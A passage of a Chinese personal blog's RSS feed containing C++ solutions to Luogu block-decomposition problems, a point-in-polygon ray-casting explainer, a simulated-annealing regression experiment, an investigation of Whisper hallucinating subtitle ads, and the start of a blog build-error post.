	scanf(&quot;%lld&quot;, &amp;amp;n);
	nn = n;
	for (int i = 1; i &amp;lt;= n; i++) {
		scanf(&quot;%lld&quot;, &amp;amp;a[i]);
	}
	build();
	rebuild = sqrt(n);
	for (int i = 1; i &amp;lt;= n; i++) {
		if (rebuild == 0) {
			build();
			rebuild = sqrt(n);
		}
		rebuild--;
		int opt, l, r, c;
		scanf(&quot;%lld&quot;, &amp;amp;opt);

		if (!opt) {
			scanf(&quot;%lld%lld&quot;, &amp;amp;l, &amp;amp;r);
			update(l, r);
			nn++;
			prv();
		}
		if (opt) {
			scanf(&quot;%lld&quot;, &amp;amp;c);
			printf(&quot;%lld\n&quot;, query(c));
		}
	}
	return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是貌似反而跑的更慢了？？？&lt;/p&gt;
&lt;p&gt;无所谓了，就当学个思想。&lt;/p&gt;
&lt;p&gt;犯了好几次重构忘记清空的问题了，太蠢了。——2026.6.12&lt;/p&gt;
&lt;h2&gt;&lt;a href=&quot;https://www.luogu.com.cn/problem/P13982&quot;&gt;P13982 数列分块入门 7&lt;/a&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#define _CRT_SECURE_NO_WARNINGS

#include&amp;lt;iostream&amp;gt;
#include&amp;lt;cmath&amp;gt;
using namespace std;

#define int long long

const int maxn = 3e5 + 10;
const int m = 10007;

int n;
int a[maxn];

int cnt, f[maxn];
struct block {
	int l = 0, r = 0, add = 0, times = 1;
} b[maxn];

void build() {
	cnt = sqrt(n);
	for (int i = 1; i &amp;lt; cnt; i++) {
		b[i].l = b[i - 1].r + 1;
		b[i].r = b[i].l + cnt - 1;
		for (int j = b[i].l; j &amp;lt;= b[i].r; j++) {
			f[j] = i;
		}
	}

	b[cnt].l = b[cnt - 1].r + 1;
	b[cnt].r = n;
	for (int j = b[cnt].l; j &amp;lt;= b[cnt].r; j++) {
		f[j] = cnt;
	}
}

void update(int x) {
	for (int i = b[x].l; i &amp;lt;= b[x].r; i++) {
		a[i] *= b[x].times;
		a[i] %= m;
		a[i] += b[x].add;
		a[i] %= m;
	}
	b[x].times = 1, b[x].add = 0;
}

void add(int l, int r, int c) {
	if (f[l] == f[r]) {
		update(f[l]);
		for (int i = l; i &amp;lt;= r; i++) {
			a[i] += c;
			a[i] %= m;
		}
		return;
	}
	update(f[l]);
	update(f[r]);
	for (int i = l; i &amp;lt;= b[f[l]].r; i++) {
		a[i] += c;
		a[i] %= m;
	}
	for (int i = b[f[r]].l; i &amp;lt;= r; i++) {
		a[i] += c;
		a[i] %= m;
	}
	for (int i = f[l] + 1; i &amp;lt; f[r]; i++) {
		b[i].add += c;
		b[i].add %= m;
	}
}

void times(int l, int r, int c) {
	if (f[l] == f[r]) {
		update(f[l]);
		for (int i = l; i &amp;lt;= r; i++) {
			a[i] *= c;
			a[i] %= m;
		}
		return;
	}
	update(f[l]);
	update(f[r]);
	for (int i = l; i &amp;lt;= b[f[l]].r; i++) {
		a[i] *= c;
		a[i] %= m;
	}
	for (int i = b[f[r]].l; i &amp;lt;= r; i++) {
		a[i] *= c;
		a[i] %= m;
	}
	for (int i = f[l] + 1; i &amp;lt; f[r]; i++) {
		b[i].add *= c;
		b[i].add %= m;
		b[i].times *= c;
		b[i].times %= m;
	}
}

int query(int x) {
	int tmp = a[x] * b[f[x]].times + b[f[x]].add;
	return (tmp % m + m) % m;
}

signed main() {
	scanf(&quot;%lld&quot;, &amp;amp;n);
	for (int i = 1; i &amp;lt;= n; i++) {
		scanf(&quot;%lld&quot;, &amp;amp;a[i]);
	}
	build(); 

	for (int i = 1; i &amp;lt;= n; i++) {
		int opt, l, r, c;
		scanf(&quot;%lld%lld%lld%lld&quot;, &amp;amp;opt, &amp;amp;l, &amp;amp;r, &amp;amp;c);
		if (opt == 0) {
			add(l, r, c);
		}
		if (opt == 1) {
			times(l, r, c);
		}
		if (opt == 2) {
			printf(&quot;%lld\n&quot;, query(r));
		}
	}
	return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;压力，除了编译错误和忘了取余直接过了 XD&lt;/p&gt;
&lt;p&gt;没啥难度，跟线段树模板一样，还没那个难，哪来的绿题。。。考虑一下懒惰标记的更新顺序就行。然后这里头 update 其实就是线段树里的 pushdown，下方懒惰标记来暴力。——2026.6.12&lt;/p&gt;
</content:encoded></item><item><title>PIP 问题</title><link>https://blog.mitufun.top/posts/pip/pip-%E9%97%AE%E9%A2%98/</link><guid isPermaLink="true">https://blog.mitufun.top/posts/pip/pip-%E9%97%AE%E9%A2%98/</guid><description>一个简单的几何的问题</description><pubDate>Wed, 01 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;:::note&lt;/p&gt;
&lt;p&gt;下文内容来自本人其他地方的博客，并对其进行了部分修改。&lt;/p&gt;
&lt;p&gt;本文以下内容已经经过极多组随机数据与某篇论文（太久了，实在想不起来了）所提供std进行对拍，并未出现任何错误，可信度较高。&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;h2&gt;题目&lt;/h2&gt;
&lt;p&gt;在网上看到了这样的一道题：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;顺时针给出 $n$ 边形的 $n$ 个顶点，再给出一个点 $(x,y)$，判断该点是否在该多边形内部。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;:::tip&lt;/p&gt;
&lt;p&gt;对于此题我已制作题目，可以自行测试：https://www.luogu.com.cn/problem/U244855&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;h2&gt;想法&lt;/h2&gt;
&lt;p&gt;引入一种方法：射线法。&lt;/p&gt;
&lt;p&gt;我们任意拉一条以 $(x,y)$ 为顶点的射线，如果射线与多边形的交点个数为奇数，则在多边形内部；反之，在多边形外部。&lt;/p&gt;
&lt;p&gt;证明：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;0x14kjba.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们随意画出了一个多边形。由于多边形的边将一张图分为了“内部”和“外部”，因此每穿过一条边就相当于从“内部”走到了“外部”，或者反之。那对于在内部的点，首先会经过一条边到达外部，再经历进入出去循环，即奇数。如果在外部，不需要出去，就直接可以经历进入出去的循环，即偶数。&lt;/p&gt;
&lt;p&gt;这个进入出去的路径，就是随意拉的一条射线。&lt;/p&gt;
&lt;h3&gt;特例&lt;/h3&gt;
&lt;p&gt;但是我们会碰到几个特殊情况&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;case1：引出的射线与多边形的顶点相交&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;1jss4goz.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;例如上图，如果不特判的话，如果遇到精度误差，可能会导致少算几个交点，导致答案出错&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;case2：引出的射线与多边形某条边重合&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;o71xtn5m.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;同样如果不特判同样也会出现问题&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;对于以上两种情况的解决方案是重新换一条射线，其他的方法懒得想，次数也不会很多，常数级别的，不会影响运行效率&lt;/p&gt;
&lt;h2&gt;代码实现&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#include&amp;lt;iostream&amp;gt;
#include&amp;lt;climits&amp;gt;
#include&amp;lt;cstring&amp;gt;
#include&amp;lt;cstdio&amp;gt;
#include&amp;lt;cmath&amp;gt;
using namespace std;

#define db double

const double eps = 1e-5;
const int maxn = 2010;

int n, q;
struct point {
	db x, y;
	point() {}
	point(db xx, db yy) {
		x = xx, y = yy;
	}
};
point pt[maxn];
struct line {
	db k, b; // 斜率与截距
	db sx, ex; // 线段在 [sx, ex] 之间
	line() {}
	line(db kk, db bb, db ssx, db eex) {
		k = kk, b = bb;
		sx = ssx, ex = eex;
	}
};
line ln[maxn];
line ray;

// 获得连接 pt1 与 pt2 的线段信息
line getLine(point pt1, point pt2) {
	line tmp;
	tmp.k = (pt1.y - pt2.y) / (pt1.x - pt2.x);
	tmp.b = pt1.y - tmp.k * pt1.x;
	tmp.sx = pt1.x;
	tmp.ex = pt2.x;
	return tmp;
}

// 判断两个 double 类型是否相等
bool equal(db a, db b) {
	return fabs(a - b) &amp;lt; eps;
}

// 判断 p 是否被 l 穿过
bool passPoint(line l, point p) {
	if (equal(l.k * p.x + l.b, p.y)) {
		if (l.sx &amp;gt; l.ex) {
			swap(l.sx, l.ex);
		}
		if (l.sx &amp;lt;= p.x &amp;amp;&amp;amp; p.x &amp;lt;= l.ex) {
			return 1;
		}
	}
	return 0;
}

// 判断 ray 是否合规
bool checkERROR() {
	for (int i = 1; i &amp;lt;= n; i++) {
		if (passPoint(ray, pt[i])) {
			return 1;
		}
	}
	for (int i = 1; i &amp;lt;= n; i++) {
		if (equal(ln[i].k, ray.k) &amp;amp;&amp;amp; equal(ln[i].b, ray.b)) {
			return 1;
		}
	}
	return 0;
}

// 判断 ln1 和 ln2 是否相交
bool checkInter(line ln1, line ln2) {
	point tmp;
	tmp.x = (ln2.b - ln1.b) / (ln1.k - ln2.k);
	tmp.y = ln1.k * tmp.x + ln1.b;
	return passPoint(ln1, tmp) &amp;amp;&amp;amp; passPoint(ln2, tmp);
}
bool check(point a) {
	point tmp;
	do {
		tmp.x = rand() % 200;
		tmp.y = rand() % 200;
		ray = getLine(a, tmp);
		ray.ex = INT_MAX;
	} while (checkERROR());

	int cnt = 0;
	for (int i = 1; i &amp;lt;= n; i++) {
		if (checkInter(ln[i], ray)) {
			cnt++;
		}
	}
	return cnt % 2;
}

int main() {
	cin &amp;gt;&amp;gt; n &amp;gt;&amp;gt; q;
	for (int i = 1; i &amp;lt;= n; i++) {
		cin &amp;gt;&amp;gt; pt[i].x &amp;gt;&amp;gt; pt[i].y;
	}

	pt[0] = pt[n];
	for (int i = 1; i &amp;lt;= n; i++) { // 建出多边形的边
		point pt1 = pt[i - 1];
		point pt2 = pt[i];
		ln[i] = getLine(pt1, pt2);
	}

	while (q--) {
		point p;
		cin &amp;gt;&amp;gt; p.x &amp;gt;&amp;gt; p.y;
		if (check(p)) {
			cout &amp;lt;&amp;lt; &quot;Yes&quot; &amp;lt;&amp;lt; endl;
		}
		else {
			cout &amp;lt;&amp;lt; &quot;No&quot; &amp;lt;&amp;lt; endl;
		}
	}
	return 0;
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>基于模拟退火的线性回归模型计算方法</title><link>https://blog.mitufun.top/posts/%E5%9F%BA%E4%BA%8E%E6%A8%A1%E6%8B%9F%E9%80%80%E7%81%AB%E7%9A%84%E7%BA%BF%E6%80%A7%E5%9B%9E%E5%BD%92%E6%A8%A1%E5%9E%8B%E8%AE%A1%E7%AE%97%E6%96%B9%E6%B3%95/%E5%9F%BA%E4%BA%8E%E6%A8%A1%E6%8B%9F%E9%80%80%E7%81%AB%E7%9A%84%E7%BA%BF%E6%80%A7%E5%9B%9E%E5%BD%92%E6%A8%A1%E5%9E%8B%E8%AE%A1%E7%AE%97%E6%96%B9%E6%B3%95/</link><guid isPermaLink="true">https://blog.mitufun.top/posts/%E5%9F%BA%E4%BA%8E%E6%A8%A1%E6%8B%9F%E9%80%80%E7%81%AB%E7%9A%84%E7%BA%BF%E6%80%A7%E5%9B%9E%E5%BD%92%E6%A8%A1%E5%9E%8B%E8%AE%A1%E7%AE%97%E6%96%B9%E6%B3%95/%E5%9F%BA%E4%BA%8E%E6%A8%A1%E6%8B%9F%E9%80%80%E7%81%AB%E7%9A%84%E7%BA%BF%E6%80%A7%E5%9B%9E%E5%BD%92%E6%A8%A1%E5%9E%8B%E8%AE%A1%E7%AE%97%E6%96%B9%E6%B3%95/</guid><description>奇思妙想</description><pubDate>Wed, 04 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;:::warning&lt;/p&gt;
&lt;p&gt;下文内容并没有进行正确性验证，纯属娱乐。&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;h2&gt;奇思妙想&lt;/h2&gt;
&lt;p&gt;上课的时候突然想到了这种奇妙方法，但是适用性并不普遍，大抵只适用于低次的拟合函数。——后来发现好像还挺普遍的&lt;/p&gt;
&lt;p&gt;但是感觉挺有趣的，顺便温习一下之前所学。&lt;/p&gt;
&lt;p&gt;观察到对于一组样本数据 $(x_1,y_1),(x_2,y_2),\cdots,(x_n,y_n)$ 进行建模。若当前拟合函数为 $y=ax+b$ 则其均方误差（MSE）被定义为：&lt;/p&gt;
&lt;p&gt;$$E(a, b) = \frac{1}{n} \sum_{i=1}^{n} (y_i - (ax_i + b))^2$$&lt;/p&gt;
&lt;p&gt;对于目标拟合函数，则要求 $E(a,b)$ 取得最小值。&lt;/p&gt;
&lt;p&gt;故此，不难想到对于未知单调性且貌似找不到什么规律的函数求其最值，较好的方法便是使用模拟退火跑 $a$ 和 $b$。对于模拟退火的学习笔记可以看我两年前写的 &lt;a href=&quot;https://www.luogu.com.cn/article/m91jin71&quot;&gt;洛谷博客&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;然后套式子就行。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include&amp;lt;iostream&amp;gt;
#include&amp;lt;cmath&amp;gt;
#include&amp;lt;cstdio&amp;gt;
#include&amp;lt;iomanip&amp;gt;
#include&amp;lt;cstdlib&amp;gt;
using namespace std;

const int maxn = 1010;

int n;
struct Point {
    double x, y;
} p[maxn];

double pow2(double x) { return x * x; }

double MSE(double a, double b) {
    double res = 0;
    for (int i = 1; i &amp;lt;= n; i++) {
        double pred = a * p[i].x + b;
        res += pow2(p[i].y - pred);
    }
    return res / n;
}

double a_ans, b_ans, best_cost;

void SA() {
    double a = a_ans, b = b_ans;
    double T = 1000, Tmin = 1e-6, delta = 0.98;
    double cur_cost = MSE(a, b);

    while (T &amp;gt; Tmin) {
        double a_new = a + (rand() * 2.0 - RAND_MAX) / RAND_MAX * T;
        double b_new = b + (rand() * 2.0 - RAND_MAX) / RAND_MAX * T;
        double new_cost = MSE(a_new, b_new);

        if (new_cost &amp;lt; cur_cost || exp((cur_cost - new_cost) / T) * RAND_MAX &amp;gt; rand()) {
            a = a_new, b = b_new;
            cur_cost = new_cost;
            if (cur_cost &amp;lt; best_cost) {
                a_ans = a;
                b_ans = b;
                best_cost = cur_cost;
            }
        }

        T *= delta;
    }
}

int main() {
    cin &amp;gt;&amp;gt; n;
    for (int i = 1; i &amp;lt;= n; i++) {
        cin &amp;gt;&amp;gt; p[i].x &amp;gt;&amp;gt; p[i].y;
    }

    a_ans = 0, b_ans = 0;
    best_cost = MSE(a_ans, b_ans);

    SA();SA();SA();SA();SA();SA(); //想准一点就多退几次

    cout &amp;lt;&amp;lt; fixed &amp;lt;&amp;lt; setprecision(5) &amp;lt;&amp;lt; &quot;a = &quot; &amp;lt;&amp;lt; a_ans &amp;lt;&amp;lt; &quot;, b = &quot; &amp;lt;&amp;lt; b_ans &amp;lt;&amp;lt; endl;
    return 0;
}

&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;更进一步&lt;/h2&gt;
&lt;p&gt;:::note&lt;/p&gt;
&lt;p&gt;以下记于 2025.6.13&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;h3&gt;具体实现&lt;/h3&gt;
&lt;p&gt;此外，容易发现此方法具有极强的扩展性。对于任意次的拟合函数只需要退火时多退几个参数即可。即使这会导致结果大概率错误，但是貌似对于“无限次回归”没有通解的存在，普遍使用神经网络等算法进行实现，其难度对比此非属同一量级。&lt;/p&gt;
&lt;p&gt;以下进一步进行说明。&lt;/p&gt;
&lt;p&gt;对于一拟合函数：&lt;/p&gt;
&lt;p&gt;$$\hat{y}(x) = \sum_{k=0}^{N} \text{index}_k x^k$$&lt;/p&gt;
&lt;p&gt;其目标函数可被定义为：&lt;/p&gt;
&lt;p&gt;$$\text{Loss}(\text{index})=\sum^m_{i-1}(y_i-\hat{y}(x_i))^2$$
容易写出代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include&amp;lt;iostream&amp;gt;
#include&amp;lt;cmath&amp;gt;
#include&amp;lt;cstdio&amp;gt;
#include&amp;lt;iomanip&amp;gt;
#include&amp;lt;cstdlib&amp;gt;
using namespace std;

const int maxn = 1010;
const int maxd = 20;

int n, deg;
struct Point {
    double x, y;
} p[maxn];

double pow2(double x) { return x * x; }

double index[maxd + 1]; 
double best_index[maxd + 1];
double best_cost;

double val(double x) {
    double res = 0, x_pow = 1;
    for (int i = 0; i &amp;lt;= deg; i++) {
        res += index[i] * x_pow;
        x_pow *= x;
    }
    return res;
}

double MSE() {
    double res = 0;
    for (int i = 1; i &amp;lt;= n; i++) {
        res += pow2(p[i].y - val(p[i].x));
    }
    return res / n;
}

void SA() {
    double T = 1000, Tmin = 1e-6, delta = 0.98;
    double cur_cost = MSE();

    while (T &amp;gt; Tmin) {
        double new_index[maxd + 1];
        for (int i = 0; i &amp;lt;= deg; i++) {
            new_index[i] = index[i] + (rand() * 2.0 - RAND_MAX) / RAND_MAX * T;
        }

        for (int i = 0; i &amp;lt;= deg; i++) index[i] = new_index[i];
        double new_cost = MSE();

        if (new_cost &amp;lt; cur_cost || exp((cur_cost - new_cost) / T) * RAND_MAX &amp;gt; rand()) {
            cur_cost = new_cost;
            if (cur_cost &amp;lt; best_cost) {
                for (int i = 0; i &amp;lt;= deg; i++) best_index[i] = index[i];
                best_cost = cur_cost;
            }
        } else {
            for (int i = 0; i &amp;lt;= deg; i++) index[i] = best_index[i];
        }

        T *= delta;
    }
}

int main() {
    cin &amp;gt;&amp;gt; n &amp;gt;&amp;gt; deg; // n 对应点数，deg 对应多项式次数
    for (int i = 1; i &amp;lt;= n; i++) {
        cin &amp;gt;&amp;gt; p[i].x &amp;gt;&amp;gt; p[i].y;
    }

    for (int i = 0; i &amp;lt;= deg; i++) index[i] = best_index[i] = 0;
    best_cost = MSE();

    SA();SA();SA();SA();SA();SA();SA();SA();

    cout &amp;lt;&amp;lt; fixed &amp;lt;&amp;lt; setprecision(5);
    for (int i = 0; i &amp;lt;= deg; i++) {
        cout &amp;lt;&amp;lt; &quot;a[&quot; &amp;lt;&amp;lt; i &amp;lt;&amp;lt; &quot;] = &quot; &amp;lt;&amp;lt; best_index[i] &amp;lt;&amp;lt; endl;
    }

    return 0;
}

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;复杂度分析&lt;/h3&gt;
&lt;p&gt;约定 $n$ 为数据点数，$d$ 为多项式次数&lt;/p&gt;
&lt;h4&gt;MSE 复杂度&lt;/h4&gt;
&lt;p&gt;一眼 $O(n\times d)$&lt;/p&gt;
&lt;h4&gt;SA 复杂度&lt;/h4&gt;
&lt;h5&gt;退火总轮数&lt;/h5&gt;
&lt;p&gt;温度每次乘以 $\text{delta}=0.98$，直到 $T&amp;lt;\text{Tmin}$，次数为：&lt;/p&gt;
&lt;p&gt;$$k = \log_{0.98}\left(\frac{T_{\min}}{T_0}\right) = O\left(\log\left(\frac{1}{T_{\min}}\right)\right)$$&lt;/p&gt;
&lt;p&gt;代码中 $T_{\min} = 1e{-6}$，所以一般需要：&lt;/p&gt;
&lt;p&gt;$$\frac{\log(1e6)}{\log(1/0.98)} \approx \frac{13.8}{0.02} = 690 \text{ 次}$$&lt;/p&gt;
&lt;p&gt;所以我们记退火迭代次数为 $T_{\text{steps}} \approx 600 \sim 1000$&lt;/p&gt;
&lt;h5&gt;每次迭代&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;扰动 $d+1$ 个参数，$O(d)$&lt;/li&gt;
&lt;li&gt;调用一次 MSE，$O(n\times d)$&lt;/li&gt;
&lt;li&gt;复制俩数组 $O(d)$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;总复杂度 $O(n\times d)$&lt;/p&gt;
&lt;p&gt;SA 总复杂度为 $O(T_{\text{steps}} \cdot n \cdot d)$。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;综上可知，总复杂度为 $O(T_{\text{steps}} \cdot n \cdot d\cdot k)$，其中 $k$ 为你跑 SA 的次数。&lt;/p&gt;
</content:encoded></item><item><title>关于一个黑暗中的萝卜般的 chatgpt bug 溯源</title><link>https://blog.mitufun.top/posts/%E5%85%B3%E4%BA%8E%E4%B8%80%E4%B8%AA%E9%BB%91%E6%9A%97%E4%B8%AD%E7%9A%84%E8%90%9D%E5%8D%9C%E8%88%AC%E7%9A%84-chatgpt-bug-%E6%BA%AF%E6%BA%90/%E5%85%B3%E4%BA%8E%E4%B8%80%E4%B8%AA%E9%BB%91%E6%9A%97%E4%B8%AD%E7%9A%84%E8%90%9D%E5%8D%9C%E8%88%AC%E7%9A%84-chatgpt-bug-%E6%BA%AF%E6%BA%90/</link><guid isPermaLink="true">https://blog.mitufun.top/posts/%E5%85%B3%E4%BA%8E%E4%B8%80%E4%B8%AA%E9%BB%91%E6%9A%97%E4%B8%AD%E7%9A%84%E8%90%9D%E5%8D%9C%E8%88%AC%E7%9A%84-chatgpt-bug-%E6%BA%AF%E6%BA%90/%E5%85%B3%E4%BA%8E%E4%B8%80%E4%B8%AA%E9%BB%91%E6%9A%97%E4%B8%AD%E7%9A%84%E8%90%9D%E5%8D%9C%E8%88%AC%E7%9A%84-chatgpt-bug-%E6%BA%AF%E6%BA%90/</guid><description>一个黑暗中的萝卜</description><pubDate>Fri, 27 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;关于这个 bug 的起因&lt;/h3&gt;
&lt;p&gt;今天用 chatgpt voice mode 的时候，我麦克风并没有配置正确，在调整麦克风结束后发现 chatgpt 进行了如下的对话：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;1735299988163.png&quot; alt=&quot;1735299988163&quot; /&gt;&lt;/p&gt;
&lt;p&gt;不明觉厉。当时我的麦克风选择的是一个虚拟麦克风，其功能是将电脑播放的声音通过一个软件重新发回给电脑。当时我电脑不仅没声，而且那个软件根本没有启动，所以不可能出现这段对话&lt;/p&gt;
&lt;h3&gt;溯源&lt;/h3&gt;
&lt;p&gt;进行简单的搜索，发现不少有趣的事情：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;1735299970128.png&quot; alt=&quot;1735299970128&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cnblogs.com/apachecn/p/18441513&quot;&gt;某个博客&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://learning.sohu.com/a/713003291_120101632&quot;&gt;某篇文章&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这个 bug 并不少见啊&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;进一步搜索，发现了一个 github 仓库。&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;SIXiaolong1117/WhisperPythonScript&quot;}&lt;/p&gt;
&lt;p&gt;其 v2mkv_s.py 代码中 49-54 行如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 遍历生成的文本结果，并将其添加到 SRT 对象中
for idx, segment in enumerate(result[&quot;segments&quot;]):
    if segment is not None:
        # 如果识别结果包含特定文本，则丢弃该行
        if &quot;请不吝点赞 订阅 转发 打赏支持明镜与点点栏目&quot; in segment[&quot;text&quot;]:
            continue
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;并且此仓库是为 openai 开源的一个名为 Whisper 的语音识别工具编写的脚本。&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;openai/whisper&quot;}&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;进一步查询仓库中的 discussion：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;1735300467910.png&quot; alt=&quot;1735300467910&quot; /&gt;&lt;/p&gt;
&lt;p&gt;答案呼之欲出&lt;/p&gt;
&lt;p&gt;根据 &lt;a href=&quot;https://github.com/openai/whisper/discussions/1783&quot;&gt;2023-11-9 发布的一个 discussion&lt;/a&gt;：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This problem exists in both v3 and v2 and has to do with Whisper hallucinating, especially when encountering periods of silence or no speech, and then it can also get stuck in a sort of loop like this. The difference is that the hallucinations probably just occur in different places in v2 and v3, but they still will happen in both cases. If you like whisper.cpp, you can make a feature request to limit this issue by preprocessing the file to cut out the silent or no speech parts first, then re-inserting those parts in the timestamps in postprocessing. There are other projects that already provide this feature, such as stable-ts and others (if you search the discussion board for hallucinations, you can find several more projects that work on improving the hallucination problem.)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;楼主的推测：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The pattern of the ads seemed to be clear to me. Many subtitle editors like to embed ads in the front of the videos. These videos usually play silence or soft music at the beginning. The whisper models learned the silence or soft music are represented by those ads.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;似乎这被他们称作“幻觉”，而这种“幻觉”在越新版本的 whisper 中出现的更加频繁：https://github.com/ggerganov/whisper.cpp/issues/2191&lt;/p&gt;
&lt;p&gt;所以其实本质原因就是老版本的 whisper 训练模型用的数据可能比较少比较干净。后来 v2 v3 用到了一些视频网站的字幕数据，但是部分作者会在视频开头或结尾添加上一些标识（如“某某某字幕组制作”，“请不吝点赞 订阅 转发 打赏支持明镜与点点栏目”）等内容，而视频中所对应的声音数据常常是没有文字意义的混乱声音，导致了 whisper 在识别无声或混乱声音时出现如上的广告。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;关于解决方案&lt;/h3&gt;
&lt;p&gt;https://github.com/openai/whisper/discussions/1783#discussioncomment-7664639&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I&apos;ve created PR &lt;a href=&quot;https://github.com/openai/whisper/pull/1838&quot;&gt;#1838&lt;/a&gt; which skips over any silence before a detected hallucination that is longer than &lt;code&gt;--hallucination_silence_threshold DURATION&lt;/code&gt; in seconds (I used 2 seconds). On the PR page I&apos;ve included some sample output of your example with a threshold of 2 seconds, and included some debug output to also print out whenever a hallucination was detected. The PR only skips over parts where Whisper didn&apos;t detect any speech, although Whisper can still fail to detect speech when there was some, and this PR doesn&apos;t address that.I can confirm this works more reliably with v2 than v3 on your example. For it to work with v3, it has to skip precisely the right amount of silence at the start for it to successfully pick up the start of the first utterance, but v3 has harder picking up the start of that speech. This might be because the speech starting at around 54 seconds is very soft/inaudible at the start. But v2 is more successful at picking up the first utterance.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;而且貌似这个改动已经被 &lt;a href=&quot;https://github.com/openai/whisper/discussions/1783#discussioncomment-7897494&quot;&gt;官方采纳了&lt;/a&gt;，但是 &lt;a href=&quot;https://github.com/ryanheise/whisper/tree/fix-hallucinations&quot;&gt;404&lt;/a&gt;。所以又被删了？&lt;/p&gt;
&lt;p&gt;所以现在的解决方案或许只有&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if &quot;请不吝点赞 订阅 转发 打赏支持明镜与点点栏目&quot; in segment[&quot;text&quot;]:
    continue
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>关于最近博客搭建出现的Bug</title><link>https://blog.mitufun.top/posts/%E5%85%B3%E4%BA%8E%E6%9C%80%E8%BF%91%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA%E5%87%BA%E7%8E%B0%E7%9A%84bug/%E5%85%B3%E4%BA%8E%E6%9C%80%E8%BF%91%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA%E5%87%BA%E7%8E%B0%E7%9A%84bug/</link><guid isPermaLink="true">https://blog.mitufun.top/posts/%E5%85%B3%E4%BA%8E%E6%9C%80%E8%BF%91%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA%E5%87%BA%E7%8E%B0%E7%9A%84bug/%E5%85%B3%E4%BA%8E%E6%9C%80%E8%BF%91%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA%E5%87%BA%E7%8E%B0%E7%9A%84bug/</guid><description>未跟进 Cheerio 的更新而修改代码出现的错误</description><pubDate>Fri, 06 Sep 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;2024.9.6 想改一下博客的 icon，结果一改：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;1725726276621.png&quot; alt=&quot;1725726276621&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后查不出来错，其实现在也不知道为啥跳这个错。&lt;/p&gt;
&lt;p&gt;我就寻思也不能因为这个整个博客就寄掉了啊，就找 github 仓库里的历史版本，然后 clone 到本地。&lt;/p&gt;
&lt;p&gt;结果好家伙，原来的版本跑一边 &lt;code&gt;pnpm run build&lt;/code&gt; 结果也报错了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;The requested module &apos;cheerio&apos; does not provide an export named &apos;default&apos;
Stack trace:
at ModuleJob._instantiate (node:internal/modules/esm/module_job:134:21)
at async ModuleLoader.import (node:internal/modules/esm/loader:316:24)
at async ssrImport (file:///D:/Project/old-blog/node_modules/.pnpm/vite@5.4.3_@types+node@22.5.4_lightningcss@1.25.1_sass@1.78.0_stylus@0.63.0_terser@5.31.6/node_modules/vite/dist/node/chunks/dep-BaOMuo4I.js:52846:16)
at async instantiateModule (file:///D:/Project/old-blog/node_modules/.pnpm/vite@5.4.3_@types+node@22.5.4_lightningcss@1.25.1_sass@1.78.0_stylus@0.63.0_terser@5.31.6/node_modules/vite/dist/node/chunks/dep-BaOMuo4I.js:52904:5)
 ELIFECYCLE  Command failed with exit code 1.
&lt;/code&gt;&lt;/pre&gt;
